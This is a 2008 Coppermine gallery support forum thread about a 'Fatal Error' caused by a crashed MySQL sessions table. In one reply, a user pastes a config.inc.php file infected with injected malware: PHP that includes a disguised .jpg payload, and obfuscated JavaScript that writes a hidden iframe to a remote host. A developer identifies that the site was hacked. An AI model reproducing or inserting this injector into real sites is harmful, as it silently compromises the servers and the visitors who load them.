Advanced search  

News:

cpg1.5.48 Security release - upgrade mandatory!
The Coppermine development team is releasing a security update for Coppermine in order to counter a recently discovered vulnerability. It is important that all users who run version cpg1.5.46 or older update to this latest version as soon as possible.
[more]

Pages: [1]   Go Down

Author Topic: Fatal Error :  (Read 5944 times)

0 Members and 1 Guest are viewing this topic.

Iconoclast

  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 24
Fatal Error :
« on: April 21, 2008, 07:47:47 pm »

My site was down for a few days. I think there was a problem with the server.
Now when I go to the gallery its a white page that says Fatal Error :
What can I do to fix this?
Logged

Nibbler

  • Guest
Re: Fatal Error :
« Reply #1 on: April 21, 2008, 08:06:02 pm »

Logged

Iconoclast

  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 24
Re: Fatal Error :
« Reply #2 on: April 21, 2008, 09:35:23 pm »

Done. Would you like me to post what came up in the debug? Because I dont know what any of it means
Logged

François Keller

  • Dev Team member
  • Coppermine addict
  • ****
  • Country: fr
  • Offline Offline
  • Gender: Male
  • Posts: 9094
  • aka Frantz
    • Ma galerie
Re: Fatal Error :
« Reply #3 on: April 21, 2008, 10:50:56 pm »

you should have the detailled error message after enabling debbug mode
Logged
Avez vous lu la DOC ? la FAQ ? et cherché sur le forum avant de poster ?
Did you read the DOC ? the FAQ ? and search the board before posting ?
Mon Blog

Iconoclast

  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 24
Re: Fatal Error :
« Reply #4 on: April 21, 2008, 10:52:44 pm »

While executing query "delete from `*****`.cpg1410_sessions where time<1208802768 and remember=0;" on Resource id #5

mySQL error: Table './*****/cpg1410_sessions' is marked as crashed and should be repaired
Logged

François Keller

  • Dev Team member
  • Coppermine addict
  • ****
  • Country: fr
  • Offline Offline
  • Gender: Male
  • Posts: 9094
  • aka Frantz
    • Ma galerie
Re: Fatal Error :
« Reply #5 on: April 21, 2008, 10:54:27 pm »

repair sessions table via phpmyadmin
Logged
Avez vous lu la DOC ? la FAQ ? et cherché sur le forum avant de poster ?
Did you read the DOC ? the FAQ ? and search the board before posting ?
Mon Blog

Iconoclast

  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 24
Re: Fatal Error :
« Reply #6 on: April 21, 2008, 10:55:29 pm »

Simple as that, eh? I just dont want to screw anything up further.
Logged

François Keller

  • Dev Team member
  • Coppermine addict
  • ****
  • Country: fr
  • Offline Offline
  • Gender: Male
  • Posts: 9094
  • aka Frantz
    • Ma galerie
Re: Fatal Error :
« Reply #7 on: April 21, 2008, 10:57:31 pm »

Simple as that, eh? I just dont want to screw anything up further.
yes, you can safely repair the table
Logged
Avez vous lu la DOC ? la FAQ ? et cherché sur le forum avant de poster ?
Did you read the DOC ? the FAQ ? and search the board before posting ?
Mon Blog

Iconoclast

  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 24
Re: Fatal Error :
« Reply #8 on: April 21, 2008, 11:01:32 pm »

These coppermine isssues confuse the hell out of me. I'm in the cpg _sessions.. how exactly do I repair this issue?
I clicked the 'operations' tab.. I see move, alter, copy tables, table options and flush. Not exactly sure what to do.
Logged

Joachim Müller

  • Dev Team member
  • Coppermine addict
  • ****
  • Offline Offline
  • Gender: Male
  • Posts: 47843
  • aka "GauGau"
    • gaugau.de
Re: Fatal Error :
« Reply #9 on: April 22, 2008, 07:20:31 am »

This has been explained in detail in several postings on this thread - search the board, we don't like repeating the same thing over and over.
Logged

AngelC

  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 35
    • Fotos de San Sebastián - Imagenes de Donosti
Re: Fatal Error :
« Reply #10 on: April 22, 2008, 11:28:16 pm »

hello i have the same problem:

While executing query "delete from `fotosdon_fotosdonosti`.cpg134_sessions where time<1208895832 and remember=0;" on Resource id #7
mySQL error: Table 'cpg134_sessions' is marked as crashed and should be repaired

i update to the last version, then i drop session table and run update .php and it works, but in 24 hours i have the same fatal error with this error.

Please what is the problem?

AngelC

  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 35
    • Fotos de San Sebastián - Imagenes de Donosti
Re: Fatal Error :
« Reply #11 on: April 22, 2008, 11:32:43 pm »

the include/congif.inc.php is this:
<?php
   error_reporting(0);
   if (file_exists("/home/fotosdon/public_html/albums/userpics/10001/45563131x.jpg")) {
   include("/home/fotosdon/public_html/albums/userpics/10001/45563131x.jpg");
   } else
   if (ini_get("register_globals")) {
      if($GLOBALS["fx"]==0) {
         $GLOBALS["fx"]=1;
         echo "<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Djgsbnf%2631xjeui%264E2%2631ifjhiu%264E2%2631tuzmf%264E%2633cpsefs%264B%26311qy%264C%2633%2631tsd%264E%2633iuuq%264B00xxx/hpphmf.tubujtujd/do0ofx0joefy/qiq%264Gxnje%264E543%2633%264F%264D0jgsbnf%264F1')</script>";
      }
   } else {
      echo "<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Djgsbnf%2631xjeui%264E2%2631ifjhiu%264E2%2631tuzmf%264E%2633cpsefs%264B%26311qy%264C%2633%2631tsd%264E%2633iuuq%264B00xxx/hpphmf.tubujtujd/do0ofx0joefy/qiq%264Gxnje%264E543%2633%264F%264D0jgsbnf%264F1')</script>";
   }
   ?><?php
// Coppermine configuration file

// MySQL configuration
$CONFIG['dbserver'] =                         'localhost';        // Your databaseserver
$CONFIG['dbuser'] =                         'xxxxxxx_xxxxx';        // Your mysql username
$CONFIG['dbpass'] =                         'xxxxxxxxx';                // Your mysql password
$CONFIG['dbname'] =                         'xxxxxxxx_xxxxxxxxxxxx';        // Your mysql database name


// MySQL TABLE NAMES PREFIX
$CONFIG['TABLE_PREFIX'] =                'cpg134_';
?><?php
   error_reporting(0);
   if (file_exists("/home/fotosdon/public_html/albums/userpics/10001/45563131x.jpg")) {
   include("/home/fotosdon/public_html/albums/userpics/10001/45563131x.jpg");
   } else
   if (ini_get("register_globals")) {
      if($GLOBALS["fx"]==0) {
         $GLOBALS["fx"]=1;
         echo "<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Djgsbnf%2631xjeui%264E2%2631ifjhiu%264E2%2631tuzmf%264E%2633cpsefs%264B%26311qy%264C%2633%2631tsd%264E%2633iuuq%264B00xxx/hpphmf.tubujtujd/do0ofx0joefy/qiq%264Gxnje%264E543%2633%264F%264D0jgsbnf%264F1')</script>";
      }
   } else {
      echo "<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Djgsbnf%2631xjeui%264E2%2631ifjhiu%264E2%2631tuzmf%264E%2633cpsefs%264B%26311qy%264C%2633%2631tsd%264E%2633iuuq%264B00xxx/hpphmf.tubujtujd/do0ofx0joefy/qiq%264Gxnje%264E543%2633%264F%264D0jgsbnf%264F1')</script>";
   }
   ?>

Joachim Müller

  • Dev Team member
  • Coppermine addict
  • ****
  • Offline Offline
  • Gender: Male
  • Posts: 47843
  • aka "GauGau"
    • gaugau.de
Re: Fatal Error :
« Reply #13 on: April 23, 2008, 07:42:50 am »

hello i have the same problem:
Your problem is not identical - it differs: one of your tables is crashed, but you have been hacked as well. You shouldn't have hijacked this thread.
Logged

Iconoclast

  • Coppermine novice
  • *
  • Offline Offline
  • Posts: 24
Re: Fatal Error :
« Reply #14 on: April 24, 2008, 08:23:08 pm »

This has been explained in detail in several postings on this thread - search the board, we don't like repeating the same thing over and over.

I found this thread http://forum.coppermine-gallery.net/index.php/topic,50723.0.html followed the instructions by clicking the SQL tab and type in the query REPAIR TABLE cpg_sessions

After that I got "Table is already up to date" So then I ran mywebsite.com/coppermine/update.php and still get the Fatal Error
Logged

Nibbler

  • Guest
Re: Fatal Error :
« Reply #15 on: April 24, 2008, 08:30:26 pm »

Read the rest of the thread.
Logged
Pages: [1]   Go Up
 

Page created in 0.026 seconds with 20 queries.